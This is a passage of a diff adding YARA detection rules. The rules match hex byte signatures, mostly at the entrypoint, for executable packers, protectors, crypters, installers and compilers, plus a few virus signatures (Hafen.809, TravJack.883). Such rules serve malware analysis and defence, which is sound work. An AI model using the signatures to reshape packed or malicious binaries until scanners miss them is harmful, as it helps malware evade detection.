+		$1 = {0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 02 00 00 00 00 00 00 ?? 00 00 00 00 00 10 00 00 ?? 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? 00 14 00 00 00 00 ?? ?? 00 ?? ?? 00 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? 00 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? 00 ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5}
+		$2 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 10 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? 00 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Thinstall_Embedded_V22XV2308__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded V2.2X-V2.308 -> Jitit"
+	strings:
+		$0 = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 B9 FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+	condition:
+		$0 at entrypoint
+}
+rule _PeCompact_2xx_Slim_Loader__BitSum_Technologies_
+{
+	meta:
+		description = "PeCompact 2.xx (Slim Loader) -> BitSum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_PESHiELD_025__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake PESHiELD 0.25) -> emadicius (h)"
+	strings:
+		$0 = {60 E8 2B 00 00 00 0D 0A 0D 0A 0D 0A 52 65 67 69 73 74 41 72 65 64 20 74 6F 3A 20 4E 4F 4E 2D 43 4F 4D 4D 45 52 43 49 41 4C 21 21 0D 0A 0D 0A 0D 00 58 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PEArmor_046__China_Cracking_Group_
+{
+	meta:
+		description = "PE-Armor 0.46 -> China Cracking Group"
+	strings:
+		$0 = {E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41}
+		$1 = {E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 A2 01 00 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 5D 81 ED 05 00 00 00 8D 75 3D 56 FF 55 31 8D B5 86 00 00 00 56 50 FF 55 2D 89 85 93 00 00 00 6A 04 68 00 10 00 00 FF B5 82 00 00 00 6A 00 FF 95 93 00 00 00 50 8B 9D 7E 00 00 00 03 DD 50 53 E8 04 00 00 00 5A 55 FF E2 60 8B 74 24 24 8B 7C 24 28 FC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PESpin_v07__Cyberbob_
+{
+	meta:
+		description = "PESpin v0.7 -> Cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 88 39 40 00 8B 42 3C 03 C2 89 85 92 39 40 00 EB 01 DB 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D A6 39 40 00 53 8F 85 4A 38 40 00 BB ?? 00 00 00 B9 EC 0A 00 00 8D BD 36 3A 40 00 4F EB 01 AB 30 1C 39 FE CB E2 F9 EB 01 C8 68 CB 00 00 00 59 8D BD 56 44 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3 8D C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 B3 5F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D 99 39 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FreePascal_104_Win32__Berczi_Gabor_Pierre_Muller__Peter_Vreman_
+{
+	meta:
+		description = "FreePascal 1.0.4 Win32 -> (Berczi Gabor, Pierre Muller & Peter Vreman)"
+	strings:
+		$0 = {55 89 E5 C6 05 ?? ?? ?? ?? 00 E8 ?? ?? ?? ?? 55 31 ED 89 E0 A3 ?? ?? ?? ?? 66 8C D5 89 2D ?? ?? ?? ?? DB E3 D9 2D ?? ?? ?? ?? 31 ED E8 ?? ?? ?? ?? 5D E8 ?? ?? ?? ?? C9 C3}
+	condition:
+		$0
+}
+rule _RECSmall_v102_
+{
+	meta:
+		description = "REC.Small v1.02"
+	strings:
+		$0 = {8C D8 1E E8 ?? ?? 83 ?? ?? 5D B9 ?? ?? 81 ?? ?? ?? 40 8E D8 2B DB B2 ?? ?? ?? FE C2 43 83}
+	condition:
+		$0 at entrypoint
+}
+rule _App_Protector__Silent_Team_
+{
+	meta:
+		description = "App Protector -> Silent Team"
+	strings:
+		$0 = {E9 97 00 00 00 0D 0A 53 69 6C 65 6E 74 20 54 65 61 6D 20 41 70 70 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 72 65 61 74 65 64 20 62 79 20 53 69 6C 65 6E 74 20 53 6F 66 74 77 61 72 65 0D 0A 54 68 65 6E 6B 7A 20 74 6F 20 44 6F 63 68 74 6F 72 20 58 0D 0A 0D 0A}
+		$1 = {E9 97 00 00 00 0D 0A 53 69 6C 65 6E 74 20 54 65 61 6D 20 41 70 70 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 72 65 61 74 65 64 20 62 79 20 53 69 6C 65 6E 74 20 53 6F 66 74 77 61 72 65 0D 0A 54 68 65 6E 6B 7A 20 74 6F 20 44 6F 63 68 74 6F 72 20 58 0D 0A 0D 0A 54 68 69 73 20 69 73 20 53 50 61 6B 65 64 20 41 70 70 6C 69 63 61 74 69 6F 6E 0D 0A 53 50 41 4B 20 63 6F 6D 70 72 69 6D 61 74 69 6F 6E 20 73 79 73 74 65 6D 20 69 73 20 AE 53 69 6C 65 6E 74 20 54 65 61 6D 99 0D 0A 60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED 76 22 40 00 E8 04 02 00 00 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 E8 01 00 00 00 9A 59 8D 95 C8 22 40 00 E8 01 00 00 00 69 58 66 BF 4D 4A E8 BF 01 00 00 8D 52 F9 E8 01 00 00 00 E8 5B 68 CC FF E2 9A FF E4 69 FF A5 E4 24 40 00 E9 E8 B9 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Hafen809_
+{
+	meta:
+		description = "Vx: Hafen.809"
+	strings:
+		$0 = {E8 ?? ?? 1C ?? 81 EE ?? ?? 50 1E 06 8C C8 8E D8 06 33 C0 8E C0 26 ?? ?? ?? 07 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v07x__v084_
+{
+	meta:
+		description = "tElock v0.7x - v0.84"
+	strings:
+		$0 = {60 E8 00 00 C3 83}
+	condition:
+		$0 at entrypoint
+}
+rule _PocketPC_ARM_
+{
+	meta:
+		description = "PocketPC ARM"
+	strings:
+		$0 = {F0 40 2D E9 00 40 A0 E1 01 50 A0 E1 02 60 A0 E1 03 70 A0 E1 ?? 00 00 EB 07 30 A0 E1 06 20 A0 E1 05 10 A0 E1 04 00 A0 E1 ?? ?? ?? EB F0 40 BD E8 ?? 00 00 EA ?? 40 2D E9}
+		$1 = {F0 40 2D E9 00 40 A0 E1 01 50 A0 E1 02 60 A0 E1 03 70 A0 E1 ?? 00 00 EB 07 30 A0 E1 06 20 A0 E1 05 10 A0 E1 04 00 A0 E1 ?? ?? ?? EB F0 40 BD E8 ?? 00 00 EA ?? 40 2D E9 ?? ?? 9F E5 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 9F E5 00 ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_037_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.37 beta -> Dwing"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 37 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _EXE2COM_Packed_
+{
+	meta:
+		description = "EXE2COM (Packed)"
+	strings:
+		$0 = {BD ?? ?? 89 ?? ?? ?? 81 ?? ?? ?? ?? ?? 8C ?? ?? ?? 8C C8 05 ?? ?? 8E C0 BE ?? ?? 8B FE 0E 57 54 59 F3 A4 06 68 ?? ?? CB}
+	condition:
+		$0 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_v30_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player v3.0"
+	strings:
+		$0 = {55 8B EC 83 EC 44 56 FF 15 94 13 42 00 8B F0 B1 22 8A 06 3A C1 75 13 8A 46 01 46 3A C1 74 04 84 C0 75 F4 38 0E 75 0D 46 EB 0A 3C 20 7E 06}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v062_DLL_
+{
+	meta:
+		description = "UPX v0.62 [DLL"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 95 01 00 00 60 E8 00 00 00 00 58}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V10E__vcasm_
+{
+	meta:
+		description = "VProtector V1.0E -> vcasm"
+	strings:
+		$0 = {EB 0A 5B 56 50 72 6F 74 65 63 74 5D E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SVK_Protector_132_Eng__Pavol_Cerven_
+{
+	meta:
+		description = "SVK Protector 1.32 (Eng) -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E}
+	condition:
+		$0
+}
+rule _EXEPACK_v405_v406_
+{
+	meta:
+		description = "EXEPACK v4.05, v4.06"
+	strings:
+		$0 = {8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 06 ?? ?? 8E C0 8B 0E ?? ?? 8B F9 4F 8B F7 FD F3 A4}
+	condition:
+		$0 at entrypoint
+}
+rule _WinZip_32bit_SFX_v8x_module_
+{
+	meta:
+		description = "WinZip 32-bit SFX v8.x module"
+	strings:
+		$0 = {53 FF 15 ?? ?? ?? 00 B3 22 38 18 74 03 80 C3 FE 8A 48 01 40 33 D2 3A CA 74 0A 3A CB 74 06 8A 48 01 40 EB F2 38 10 74 01 40 ?? ?? ?? ?? FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_EXE32Pack_13x__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake EXE32Pack 1.3x) -> emadicius"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC 56 3B D2 74 02 81 85 57 E8 00 00 00 00 3B DB 74 01 90 83 C4 14 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00}
+	condition:
+		$0
+}
+rule _Unknown_packer_02_
+{
+	meta:
+		description = "Unknown packer (02)"
+	strings:
+		$0 = {FA 8C DE 8C CF 8E DF 8E C7 83 C7 ?? BB}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_20betastudent_version__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact 2.0beta/student version -> Jeremy Collake"
+	strings:
+		$0 = {B8 ?? ?? ?? EE 05 12 13 13 12 50 64 FF 35 00 00 00 00 64 89 25 00}
+	condition:
+		$0
+}
+rule _Setup_Factory_v6003_Setup_Launcher_
+{
+	meta:
+		description = "Setup Factory v6.0.0.3 Setup Launcher"
+	strings:
+		$0 = {55 8B EC 6A FF 68 90 61 40 00 68 70 3B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 14 61 40 00 33 D2 8A D4 89 15 5C 89 40 00 8B C8 81 E1 FF 00 00 00 89 0D 58 89 40 00 C1 E1 08 03 CA 89 0D 54 89 40 00 C1 E8 10 A3 50 89 40 00 33 F6 56 E8 E0 00 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 E6 0F 00 00 FF 15 10 61 40 00 A3 40 8E 40 00 E8 A4 0E 00 00 A3 90 89 40 00 E8 4D 0C 00 00 E8 8F 0B 00 00 E8 22 FE FF FF 89 75 D0 8D 45 A4 50 FF 15 0C 61 40 00 E8 20 0B 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 08 61 40 00 50 E8 5A E9 FF FF 89 45 A0 50 E8 10 FE FF FF 8B 45}
+	condition:
+		$0
+}
+rule _EXE2COM_With_CRC_check_
+{
+	meta:
+		description = "EXE2COM (With CRC check)"
+	strings:
+		$0 = {B3 ?? B9 ?? ?? 33 D2 BE ?? ?? 8B FE AC 32 C3 AA 43 49 32 E4 03 D0 E3}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V118_Basic_Edition_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack V1.18 Basic Edition (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_239_DLL_compressed_resources__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.3.9 DLL (compressed resources) -> www.strongbit.com"
+	strings:
+		$0 = {50 68 ?? ?? ?? ?? 58 C1 C0 0F E9 ?? ?? ?? 00 87 04 24 58 89 45 FC E9 ?? ?? ?? FF FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 18 E9 ?? ?? ?? ?? 8B 55 08 09 42 F8 E9 ?? ?? ?? FF 83 7D F0 01 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 34 24 5E 8B 45 FC 33 D2 56 8B F2 E9}
+	condition:
+		$0
+}
+rule _Armadillo_310_
+{
+	meta:
+		description = "Armadillo 3.10"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1}
+	condition:
+		$0
+}
+rule _RLPack_118_Dll_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack 1.18 Dll (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 08 83 3C 37 00 75 E6 83 BD 0D 0B 00 00 00 74 0E 83 BD 11 0B 00 00 00 74 05 E8 F6 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 1D 0B 00 00 5B 60 FF B5 F9 0A 00 00 56 FF B5 1D 0B 00 00 FF D3 61 8B B5 1D 0B 00 00 8B C6 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _ass__crypter__by_santasdad_
+{
+	meta:
+		description = "ass - crypter -> by santasdad"
+	strings:
+		$0 = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 98 40 00 10 E8 AC EA FF FF 33 C0 55 68 78 51 00 10 64 ?? ?? ?? ?? 20 6A 0A 68 88 51 00 10 A1 E0 97 00 10 50 E8 D8 EA FF FF 8B D8 53 A1 E0 97 00 10 50 E8 12 EB FF FF 8B F8 53 A1 E0 97 00 10 50 E8 DC EA FF FF 8B}
+		$1 = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 98 40 00 10 E8 AC EA FF FF 33 C0 55 68 78 51 00 10 64 ?? ?? ?? ?? 20 6A 0A 68 88 51 00 10 A1 E0 97 00 10 50 E8 D8 EA FF FF 8B D8 53 A1 E0 97 00 10 50 E8 12 EB FF FF 8B F8 53 A1 E0 97 00 10 50 E8 DC EA FF FF 8B D8 53 E8 DC EA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 F0 97 00 10 E8 C9 E7 FF FF B8 F0 97 00 10 E8 B7 E7 FF FF 8B CF 8B D6 E8 EE EA FF FF 53 E8 98 EA FF FF 8D 4D EC BA 9C 51 00 10 A1 F0 97 00 10 E8 22 EB FF FF 8B 55 EC B8 F0 97 00 10 E8 89 E6 FF FF B8 F0 97 00 10 E8 7F E7 FF FF E8 6E EC FF FF 33 C0 5A 59 59 64 89 10 68 7F 51 00 10 8D 45 EC E8 11 E6 FF FF C3 E9 FF DF FF FF EB F0 5F 5E 5B E8 0D E5 FF FF 00 53 45 54 54 49 4E 47 53 00 00 00 00 FF FF FF FF 1C 00 00 00 45 4E 54 45 52 20 59 4F 55 52 20 4F 57 4E 20 50 41 53 53 57 4F 52 44 20 48 45 52 45}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VMProtect_07x__08__PolyTech_
+{
+	meta:
+		description = "VMProtect 0.7x - 0.8 -> PolyTech"
+	strings:
+		$0 = {5B 20 56 4D 50 72 6F 74 65 63 74 20 76 20 30 2E 38 20 28 43 29 20 50 6F 6C 79 54 65 63 68 20 5D}
+	condition:
+		$0
+}
+rule _HASP_HL_Protection_1X__Aladdin_
+{
+	meta:
+		description = "HASP HL Protection 1.X -> Aladdin"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 8B C4 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 15 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 04 E9 A5 00 00 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15}
+	condition:
+		$0
+}
+rule _CICompress_v10_
+{
+	meta:
+		description = "CICompress v1.0"
+	strings:
+		$0 = {6A 04 68 00 10 00 00 FF 35 9C 14 40 00 6A 00 FF 15 38 10 40 00 A3 FC 10 40 00 97 BE 00 20 40 00 E8 71 00 00 00 3B 05 9C 14 40 00 75 61 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 68 94 10 40 00 FF 15 2C 10 40 00 A3 F8 10 40 00 6A 00 68 F4 10 40 00 FF 35 9C 14 40 00 FF 35 FC 10 40 00 FF 35 F8 10 40 00 FF 15 34 10 40 00 FF 35 F8 10 40 00 FF 15 30 10 40 00 68 00 40 00 00 FF 35 9C 14 40 00 FF 35 FC 10 40 00 FF 15 3C 10 40 00 6A 00 FF 15 28 10 40 00 60 33 DB 33 C9 E8 7F 00 00 00 73 0A B1 08 E8 82 00 00 00 AA EB EF E8 6E 00 00 00 73 14 B1 04 E8 71 00 00 00 3C 00 74 EB 56 8B F7 2B F0 A4 5E EB D4 33 ED E8 51 00 00 00 72 10 B1 02 E8 54 00 00 00 3C 00 74 3B 8B E8 C1 C5 08 B1 08 E8 44 00 00 00 0B C5 50 33 ED E8 2E 00 00 00 72 0C B1 02 E8 31 00 00 00 8B E8 C1 C5 08}
+	condition:
+		$0 at entrypoint
+}
+rule _MoleBox_v254__Teggo_
+{
+	meta:
+		description = "MoleBox v2.5.4 -> Teggo"
+	strings:
+		$0 = {00 8B 4D F0 8B 11 89 15 ?? ?? ?? 00 8B 45 FC A3 ?? ?? ?? 00 5F 5E 8B E5 5D C3 CC CC CC E8 EB FB FF FF 58 E8 ?? 07 00 00 58 89 44 24 24 61 58 58 FF D0 E8 ?? ?? 00 00 6A 00 FF 15 ?? ?? ?? 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+	condition:
+		$0
+}
+rule _Morphine_V33__Holy_Father__Ratter29A_
+{
+	meta:
+		description = "Morphine V3.3 -> Holy_Father & Ratter/29A"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+	condition:
+		$0
+}
+rule _Trainer_Creation_Kit_5_Trainer_
+{
+	meta:
+		description = "Trainer Creation Kit 5 Trainer"
+	strings:
+		$0 = {6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 40 68 25 45 40 00 E8 3C 02 00 00 50 6A 00 68 40 45 40 00 68 00 10 00 00 68 00 30 40 00 50 E8 54 02 00 00 58 50 E8 17 02 00 00 6A 00 E8 2E 02 00 00 A3 70 45 40 00 68 25 45 40 00 E8 2B 02 00 00 A3 30 45 40}
+	condition:
+		$0
+}
+rule _ExeShield_36__wwwexeshieldcom_
+{
+	meta:
+		description = "ExeShield 3.6 -> www.exeshield.com"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC E9 FB C8 4F 1B 22 7C B4 C8 0D BD 71 A9 C8 1F 5F B1 29 8F 11 73 8F 00 D1 88 87 A9 3F 4D 00 6C 3C BF C0 80 F7 AD 35 23 EB 84 82 6F}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Spin_v04x_
+{
+	meta:
+		description = "PE Spin v0.4x"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B}
+	condition:
+		$0
+}
+rule _Thinstall_v2460__Jitit_
+{
+	meta:
+		description = "Thinstall v2.460 -> Jitit"
+	strings:
+		$0 = {55 8B EC 51 53 56 57 6A 00 6A 00 FF 15 F4 18 40 00 50 E8 87 FC FF FF 59 59 A1 94 1A 40 00 8B 40 10 03 05 90 1A 40 00 89 45 FC 8B 45 FC FF E0 5F 5E 5B C9 C3 00 00 00 76 0C 00 00 D4 0C 00 00 1E}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_TravJack883_
+{
+	meta:
+		description = "Vx: TravJack.883"
+	strings:
+		$0 = {EB ?? 9C 9E 26 ?? ?? 51 04 ?? 7D ?? 00 ?? 2E ?? ?? ?? ?? 8C C8 8E C0 8E D8 80 ?? ?? ?? ?? 74 ?? 8A ?? ?? ?? BB ?? ?? 8A ?? 32 C2 88 ?? FE C2 43 81}
+	condition:
+		$0 at entrypoint
+}
+rule _ProActivate_V10X__TurboPower_Software_Company__Sign_by_fly_
+{
+	meta:
+		description = "ProActivate V1.0X -> TurboPower Software Company ! Sign by fly"
+	strings:
+		$0 = {55 8B EC B9 0E 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? ?? ?? ?? 90 90 90 90 90 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? 83 C0 05 A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0D 00 00 00 E8 85 E2 FF FF 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 7A 81 3D ?? ?? ?? ?? 43 52 43 33 75 6E 81 3D ?? ?? ?? ?? 32 40 7E 7E 75 62 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 56 81 3D ?? ?? ?? ?? 43 52 43 33 75 4A 81 3D ?? ?? ?? ?? 32 40 7E 7E 75 3E 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 32 81 3D ?? ?? ?? ?? 43 52 43 33}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v20_
+{
+	meta:
+		description = "FSG v2.0"
+	strings:
+		$0 = {87 25 ?? ?? ?? ?? 61 94 55 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75}
+	condition:
+		$0
+}
+rule _EXECryptor_2223_protected_IAT__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.2/2.3 (protected IAT) -> www.strongbit.com"
+	strings:
